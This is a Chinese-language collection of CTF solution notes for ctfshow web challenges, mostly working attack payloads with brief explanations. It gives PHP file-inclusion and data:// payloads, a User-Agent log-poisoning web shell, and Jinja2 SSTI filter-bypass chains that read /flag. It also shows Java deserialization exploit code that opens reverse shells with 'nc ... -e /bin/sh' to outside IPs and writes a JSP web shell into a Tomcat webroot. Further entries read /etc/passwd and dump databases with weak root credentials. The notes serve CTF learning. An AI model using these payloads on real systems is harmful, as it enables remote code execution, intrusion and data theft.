一些做题记录
 
 
文件包含部分: web78 无任何过滤:
1 ?file=php:// filter/convert.base64-encode/ resource=flag.php
 
web79 过滤了php,直接读文件是不行了,考虑data伪协议执行命令(base64编码):
1 2 ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= // <?php  system ('cat flag.php' );
 
或者:
1 ?f ile=data: //text/plain ,<?= `tac f*` ;?> 
 
就是利用php里的短标签。<?= ?>相当于<?php echo ?>
另外str_replace是区分大小写的:
1 2 3 4 5 6 7 8 9 <?php $file  = "phpPHPpHpPhP" ;$file1  = str_replace ("php" , "???" , $file );echo  $file1 ;echo  '----------------' ;$file2  = str_ireplace ("php" , "???" , $file );echo  $file2 ;?> 
 
所以解法还有:
1 2 3 ?f ile=Php ://input POST 执行的数据
 
web80 过滤了data和php的大小写。。这里要用远程包含/日志包含:
日志包含 
个人理解就是通过include和日志文件中的特定内容配合(include把啥东西都当php读)
日志文件常见路径:
1 2 3 /var/ log/apache/ access.log/var/ log/nginx/ access.log/var/ log/nginx/ error.log
 
只有第二个有正常的回显:
存在UA头,所以直接把UA头修改成:
 1.<?php system('ls');?>,<?php system('cat fl0g.php');?>传过去再刷新下网页就行
2.<?php @eval($_POST['a']); ?> a=system('cat fl0g.php');
web81 比之前多了个:,还是上一题的日志包含(主要是禁了input那个方法)。
web82 web88 /i模式匹配的大小写,=也被过滤了。这里还是用79那里的data伪协议执行命令:
1 2 3 4 PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4=  <?php  system ('tac fl0g.php' ); ?>  ?file=data:
 
 
SSTI部分: web361 无任何过滤:
1 ?name= {{config.__class__.__init__.__globals__ ['os'].popen('cat /flag' ).read()}} 
 
web362 同上:
1 ?name= {{config.__class__.__init__.__globals__ ['os'].popen('cat /flag' ).read()}} 
 
web363 应该是过滤了单引号双引号:
头要么用config,要么用(),过滤了引号可以(这个单双引号好像没法用十六进制去表示):
把之前payload中带引号的都放到request.args.path中就行:
1 ?name= {{config.__class__.__init__.__globals__ [request.args.x1].popen(request.args.x2 ).read()}} &x1=os&x2=cat /flag 
 
web364 应该是在上题的基础上过滤了args,搜了下还可以用cookie传值:
参考文章 
1 2 3 4 payload ?name= {{x.__init__.__globals__ [request.cookies.x1].eval(request.cookies.x2 )}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read() 
 
这个x当开头第一次见:
config的话类中__init__函数全局变量中已经导入了”os”模块,可以直接调用。
1 2 3 ?name= {{config.__class__.__init__.__globals__ [request.cookies.x1].popen(request.cookies.x2 ).read()}} //hackbar直接传: Cookie:  x1=os;x2=cat /flag //Cookie不用加 
 
web365 在之前的基础上过滤了中括号:
__getitem__ 方法是 Python 对象的一个内建方法,当你使用中括号 [] 来访问对象的元素时,实际上是调用了这个方法。
对于字典来说,使用 __getitem__ 方法,你可以这样获取字典中的键值:
1 2 3 my_dict = {'key1' : 'value1' , 'key2' : 'value2' } result = my_dict.__getitem__('key1' )  print (result)
 
所以:
1 2 3 ?name= {{config.__class__.__init__.__globals__.__getitem__ (request.cookies.x1 ).popen(request.cookies.x2 ).read()}} //hackbar直接传: Cookie:  x1=os;x2=cat /flag //Cookie不用加 
 
web366 过滤了下划线:
参考文章 
使用 foo|attr("bar") 可以获取对象 foo 的属性 bar 的值,类似于 foo.bar 的用法。
所以:
1 2 3 ?name= {{(x |attr(request.cookies.x1 )|attr(request.cookies.x2 )|attr(request.cookies.x3 ))(request.cookies.x4 ).eval(request.cookies.x5 )}} Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read() 
 
简单说还是利用请求参数进行逃逸
web367 同上
web368 又过滤了双大括号,但{%%}这东西并没有过滤。
参考文章 
不过注意要加上print,不然只会执行命令,没回显。在上一题基础上修改就行:
1 2 3 /?name= {%print ((x |attr(request.cookies.x 1 )|attr(request.cookies.x 2 )|attr(request.cookies.x 3 ))(request.cookies.x 4 ).eval(request.cookies.x 5 ))%} Cookie:x 1 = __init__
 
还有其它解法(其实就是把上面的拆开了:
1 2 3 name={%set aaa=(x|attr(request.cookies.in )|attr(request.cookies.gl)|attr(request.cookies.ge))(request.cookies.bu)%}{% print (aaa.eval (request.cookies.cmd))%}in =init;gl=globals;ge=getitem;bu=builtins;cmd=import('os' ).popen ('cat /f*' ).read()
 
web369 又过滤了request,直接抄了yu师傅的:
1 2 3 4 5 6 7 8 9 10 11 ?name= {%  set  po=dict(po=a,p=a)| join %} {%  set  a=(()| select| string| list)| attr(po)(24 )%} {%  set  ini=(a,a,dict(init=a)| join ,a,a)| join ()%} {%  set  glo=(a,a,dict(globals=a)| join ,a,a)| join ()%} {%  set  geti=(a,a,dict(getitem=a)| join ,a,a)| join ()%} {%  set  built=(a,a,dict(builtins=a)| join ,a,a)| join ()%} {%  set  x=(q| attr(ini)| attr(glo)| attr(geti))(built)%} {%  set  chr=x.chr%} {%  set  file=chr(47 )%2 bchr(102 )%2 bchr(108 )%2 bchr(97 )%2 bchr(103 )%} {% print (x.open(file).read())%} 
 
反序列化部分 web254 组件漏洞 web580 838 
存在任意文件下载,本来想读/proc/self/environ看当前工作目录的,结果直接把flag读了:
看web.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <!DOCTYPE web-app  PUBLIC   "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"   "http://java.sun.com/dtd/web-app_2_3.dtd"  > <web-app >           <display-name > Archetype Created Web Application</display-name >           <context-param >          <param-name > contextConfigLocation</param-name >          <param-value > /WEB-INF/applicationContext.xml</param-value >      </context-param >           <listener >          <listener-class > org.springframework.web.context.ContextLoaderListener</listener-class >      </listener >           <filter >          <filter-name > charset</filter-name >          <filter-class > org.springframework.web.filter.CharacterEncodingFilter</filter-class >          <init-param >              <param-name > encoding</param-name >              <param-value > utf-8</param-value >          </init-param >      </filter >           <filter-mapping >          <filter-name > charset</filter-name >          <url-pattern > /*</url-pattern >      </filter-mapping >           <servlet >          <servlet-name > dispatcher</servlet-name >          <servlet-class > org.springframework.web.servlet.DispatcherServlet</servlet-class >          <init-param >              <param-name > contextConfigLocation</param-name >              <param-value > /WEB-INF/dispatcher-servlet.xml</param-value >          </init-param >          <load-on-startup > 1</load-on-startup >      </servlet >           <servlet-mapping >          <servlet-name > dispatcher</servlet-name >          <url-pattern > /</url-pattern >      </servlet-mapping > </web-app > 
 
dispatcher-servlet.xml:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?xml version="1.0"  encoding="UTF-8" ?> <beans  xmlns ="http://www.springframework.org/schema/beans"         xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance"  xmlns:mvc ="http://www.springframework.org/schema/mvc"         xmlns:context ="http://www.springframework.org/schema/context"         xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd" >      <context:annotation-config  />      <mvc:annotation-driven />      <mvc:resources  mapping ="/layui/**"  location ="/WEB-INF/static/layui/"  />      <mvc:resources  mapping ="/images/**"  location ="/WEB-INF/static/images/"  />      <mvc:resources  mapping ="/css/**"  location ="/WEB-INF/static/css/"  />      <mvc:default-servlet-handler  />      <bean  id ="defaultViewResolver"  class ="org.springframework.web.servlet.view.InternalResourceViewResolver" >          <property  name ="viewClass"  value ="org.springframework.web.servlet.view.JstlView" />          <property  name ="prefix"  value ="/WEB-INF/views/" />          <property  name ="suffix"  value =".jsp" />          <property  name ="exposeContextBeansAsAttributes"  value ="true" />      </bean >           <context:component-scan  base-package ="com.ctfshow.controller" /> </beans > 
 
包路径com.ctfshow.controller,控制器文件名IndexController,下这个IndexController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package  com.ctfshow.controller;import  com.ctfshow.entity.User;import  java.io.ByteArrayInputStream;import  java.io.ObjectInputStream;import  java.util.Base64;import  javax.servlet.http.HttpServletRequest;import  org.springframework.stereotype.Controller;import  org.springframework.web.bind.annotation.RequestMapping;import  org.springframework.web.bind.annotation.RequestMethod;import  org.springframework.web.bind.annotation.ResponseBody;@Controller @RequestMapping({"/"}) public  class  IndexController  {     public  IndexController ()  {     }     @RequestMapping(         value = {"/"},         method = {RequestMethod.GET}     )      public  String index ()  {         return  "index" ;     }     @RequestMapping(         value = {"/"},         method = {RequestMethod.POST}     )      @ResponseBody      public  String index (HttpServletRequest request)  {         User  user  =  null ;         try  {             byte [] userData = Base64.getDecoder().decode(request.getParameter("userData" ));             ObjectInputStream  safeObjectInputStream  =  new  ObjectInputStream (new  ByteArrayInputStream (userData));             user = (User)safeObjectInputStream.readUnshared();         } catch  (ClassNotFoundException var5) {             var5.printStackTrace();             return  "User class can not unserialize" ;         } catch  (Exception var6) {             var6.printStackTrace();             return  "unserialize error" ;         }         return  "unserialize done, you username is "  + user.getUsername();     } }
 
存在反序列化入口,再去下这个User类:com.ctfshow.entity.User包中的user.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 package  com.ctfshow.entity;import  java.io.IOException;import  java.io.ObjectInputStream;import  java.io.Serializable;import  java.lang.reflect.InvocationTargetException;import  java.util.Objects;public  class  User  implements  Serializable  {     private  static  final  long  serialVersionUID  =  1L ;     private  int  id;     private  String username;     private  String password;     private  String email;     private  String address;     public  User ()  {     }     public  int  getId ()  {         return  this .id;     }     public  void  setId (int  id)  {         this .id = id;     }     public  String getUsername ()  {         return  this .username;     }     public  void  setUsername (String username)  {         this .username = username;     }     public  String getPassword ()  {         return  this .password;     }     public  void  setPassword (String password)  {         this .password = password;     }     public  boolean  equals (Object o)  {         if  (this  == o) {             return  true ;         } else  if  (o != null  && this .getClass() == o.getClass()) {             User  user  =  (User)o;             return  Objects.equals(this .username, user.username) && Objects.equals(this .password, user.password);         } else  {             return  false ;         }     }     public  int  hashCode ()  {         return  Objects.hash(new  Object []{this .id, this .username, this .password});     }     public  String getEmail ()  {         return  this .email;     }     public  void  setEmail (String email)  {         this .email = email;     }     public  boolean  isNull ()  {         if  (null  != this .username && !this .username.isEmpty()) {             return  null  == this .password || this .password.isEmpty();         } else  {             return  true ;         }     }     private  void  readObject (ObjectInputStream input)  throws  IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {         input.defaultReadObject();         Class.forName(this .username).getMethod(this .email, String.class).invoke(Class.forName(this .username).getMethod(this .password).invoke(Class.forName(this .username)), this .address);     } }
 
重写的readObject存在命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public  void  exp ()  throws  IOException {         User  user  =  new  User ();         user.setUsername("java.lang.Runtime" );         user.setPassword("getRuntime" );         user.setEmail("exec" );         user.setAddress("nc 172.16.8.233 3333 -e /bin/sh" );         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         ObjectOutputStream  os  =  new  ObjectOutputStream (byteArrayOutputStream);         os.writeObject(user);         os.close();         String  payload  =  new  String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));         System.out.println(payload);     }
 
843 下载源码,pom.xml和properties没啥好东西,config.class存在命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public  class  Config  implements  Serializable  {     private  static  final  long  serialVersionUID  =  1L ;     private  String  name  =  "" ;     private  String  path  =  "" ;     private  String execute;     private  String[] args;     public  Config ()  {     }     public  String getName ()  {         return  this .name;     }     public  void  setName (String name)  {         this .name = name;     }     public  String getPath ()  {         return  this .path;     }     public  void  setPath (String path)  {         this .path = path;     }     public  String getExecute ()  {         return  this .execute;     }     public  void  setExecute (String execute)  {         this .execute = execute;     }     public  String[] getArgs() {         return  this .args;     }     public  void  setArgs (String[] args)  {         this .args = args;     }     private  void  readObject (ObjectInputStream input)  throws  IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {         input.defaultReadObject();         (new  ProcessBuilder (this .args)).start();     } }
 
CookieFilter.class存在反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 @WebFilter(     filterName = "CookieFilter",     urlPatterns = {"/*"} ) @Order(Integer.MAX_VALUE) public  class  CookieFilter  implements  Filter  {     public  CookieFilter ()  {     }     public  void  init (FilterConfig filterConfig)  throws  ServletException {     }     public  void  doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)  throws  IOException, ServletException {         String  token  =  CookieUtil.getCookieValue((HttpServletRequest)servletRequest, "token" , true );         if  (null  != token && token != "" ) {             token = URLDecoder.decode(token, "UTF-8" );             token = token.replace(" " , "+" );             byte [] base = Base64.getDecoder().decode(token.getBytes(StandardCharsets.UTF_8));             ObjectInputStream  objectInputStream  =  new  ObjectInputStream (new  ByteArrayInputStream (base));             try  {                 User  user  =  (User)objectInputStream.readObject();                 if  (null  != user && user.getUsername().equals("admin" )) {                     servletRequest.setAttribute("user" , user);                 }             } catch  (ClassNotFoundException var9) {                 throw  new  RuntimeException (var9);             }         } else  {             User  user  =  new  User ("guest" );             ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();             ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);             objectOutputStream.writeObject(user);             String  cookieToken  =  new  String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));             cookieToken = URLEncoder.encode(cookieToken, "UTF-8" );             CookieUtil.setCookie((HttpServletRequest)servletRequest, (HttpServletResponse)servletResponse, "token" , cookieToken);         }         filterChain.doFilter(servletRequest, servletResponse);     }     public  void  destroy ()  {     } }
 
反序列化后的那个强转没啥影响,还是先序列化一个恶意的Config类序列化后传给token,再反序列化即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package  com.ctfshow.entity;import  java.io.*;import  java.lang.reflect.InvocationTargetException;import  java.util.Base64;public  class  ConfigTest  {     public  static  void  main (String[] args)  throws  IOException {         Config  config  =  new  Config ();         config.setArgs(new  String []{"/bin/sh" ,"-c" ,"echo '<%=Runtime.getRuntime().exec(request.getParameter(new String(new byte[]{97})))%>'>/usr/local/tomcat/webapps/ROOT/1.jsp" });         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);         objectOutputStream.writeObject(config);         System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));         objectOutputStream.close();     } }
 
这里token写过去会报错,可以看到是类型转换出了问题,但对我们解题没啥影响:
然后1.jsp?a=nc 43.132.254.165 9001 -e sh即可。但这里有个问题,我不知道他这个当前运行目录/usr/local/tomcat/webapps/ROOT/是怎么拿的,但如果直接>1.jsp还行不通。。。
上面是wp的解法,其实也不用这么麻烦,既然都能执行命令了直接在ConfigTest反弹shell就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package  com.ctfshow.entity;import  java.io.*;import  java.lang.reflect.InvocationTargetException;import  java.util.Base64;public  class  ConfigTest  {     public  static  void  main (String[] args)  throws  IOException {         Config  config  =  new  Config ();         config.setArgs(new  String []{"/bin/sh" ,"-c" ,"nc 43.129.97.84 9001 -e sh" });         ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();         ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);         objectOutputStream.writeObject(config);         System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));         objectOutputStream.close();     } }
 
844 给了个web.war文件,这东西直接解压就能拿META-INF和WEB-INF,打开看看:
IndexController.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 @Controller @RequestMapping({"/"}) public  class  IndexController  {     public  IndexController ()  {     }     @RequestMapping(         value = {"/"},         method = {RequestMethod.GET},         produces = {"text/html;charset=utf-8"}     )      public  ModelAndView index ()  {         ModelAndView  modelAndView  =  new  ModelAndView ();         modelAndView.setViewName("index" );         return  modelAndView;     }     @RequestMapping(         value = {"/goPage"},         method = {RequestMethod.GET}     )      @ResponseBody      public  String goPage (@RequestParam  Map<String, String> param)  {         String  result  =  "" ;         String  request  =  "" ;         String  url  =  (String)param.get("url" );         String  port  =  (String)param.get("port" );         if  (null  != url && null  != param && !param.isEmpty()) {             try  {                 Socket  socket  =  new  Socket (url, Integer.valueOf(port));                 OutputStream  out  =  socket.getOutputStream();                 BufferedReader  in  =  new  BufferedReader (new  InputStreamReader (socket.getInputStream(), "UTF-8" ));                 Map.Entry p;                 for (Iterator  var9  =  param.entrySet().iterator(); var9.hasNext(); request = request + (String)p.getKey() + (String)p.getValue() + "\r\n" ) {                     p = (Map.Entry)var9.next();                 }                 out.write(request.getBytes());                 String line;                 while ((line = in.readLine()) != null ) {                     result = result + line;                 }             } catch  (Exception var11) {                 var11.printStackTrace();                 result = "request error" ;             }             return  result;         } else  {             result = "url error" ;             return  result;         }     } }
 
sanic 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from  sanic import  Sanicfrom  sanic.response import  text, htmlfrom  sanic_session import  Sessionimport  pydash app = Sanic(__name__) app.static("/static/" , "./static/" ) Session(app)class  Pollute :     def  __init__ (self ):         pass @app.route('/' , methods=['GET' , 'POST' ] ) async  def  index (request ):     return  await  html.open ('static/index.html' ).read()@app.route("/login" , methods=['POST' ] ) async  def  login (request ):     user = request.cookies.get("user" )     if  user and  user.lower() == 'adm;n' :           request.ctx.session['admin' ] = True            return  text("login success" )     return  text("login fail" )@app.route("/src"  ) async  def  src (request ):     return  text(open (__file__).read())@app.route("/admin" , methods=['POST' ] ) async  def  admin (request ):          if  request.ctx.session.get('admin' ) == True :         try :             data = request.json             key = data.get('key' )             value = data.get('value' )             if  key and  value and  isinstance (key, str ) and  '_.'  not  in  key:                 pollute = Pollute()                 pydash.set_(pollute, key, value)                   return  text("success" )             else :                 return  text("forbidden" )         except  Exception as  e:             print (f"Exception in admin route: {e} " )             return  text("error" )     else :         return  text("forbidden" )if  __name__ == '__main__' :     app.run(host='0.0.0.0' , port=8000 )
 
先看/login路由:
他会把cookie字段中user对应的值转成小写之后和adm;n比较,如果相等会把请求会话中admin的值设为True,这里因为有个分号所以给user字段赋值的时候不能直接赋成分号。
一开始以为问题出在lower这个方法上了,以为什么特殊字符lower后直接变成分号了。捣鼓了半天没弄出来,看了其它师傅的wp才知道这里用个八进制编码就行:
参考文章 
 
simple_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php ini_set ('open_basedir' , '/var/www/html/' );error_reporting (0 );if (isset ($_POST ['cmd' ])){     $cmd  = escapeshellcmd ($_POST ['cmd' ]);       if  (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i' , $cmd )) {          system ($cmd ); } }show_source (__FILE__ );?> 
 
dd和hexdump没被ban,这两个都能读/etc/passwd:
cmd=dd if=/etc/passwd(注意倒数第二个mysql用户)
cmd=hexdump /etc/passwd
mysql --version可以确认存在数据库服务:
1 mysql  Ver 15 .1  Distrib 10 .4 .13 -MariaDB, for Linux (x86_64) using readline 5 .
 
弱口令用户名 root 密码 root, 连接到 MySQL 数据库。导出所有数据库的内容然后嗯搜flag:
1 cmd = mysqldump -uroot -proot --all-databases
 
学了些其他师傅的解法.
首先利用burpsuite传参(利用%0a换行符)能进行命令执行:
或者通过反弹shell:参考文章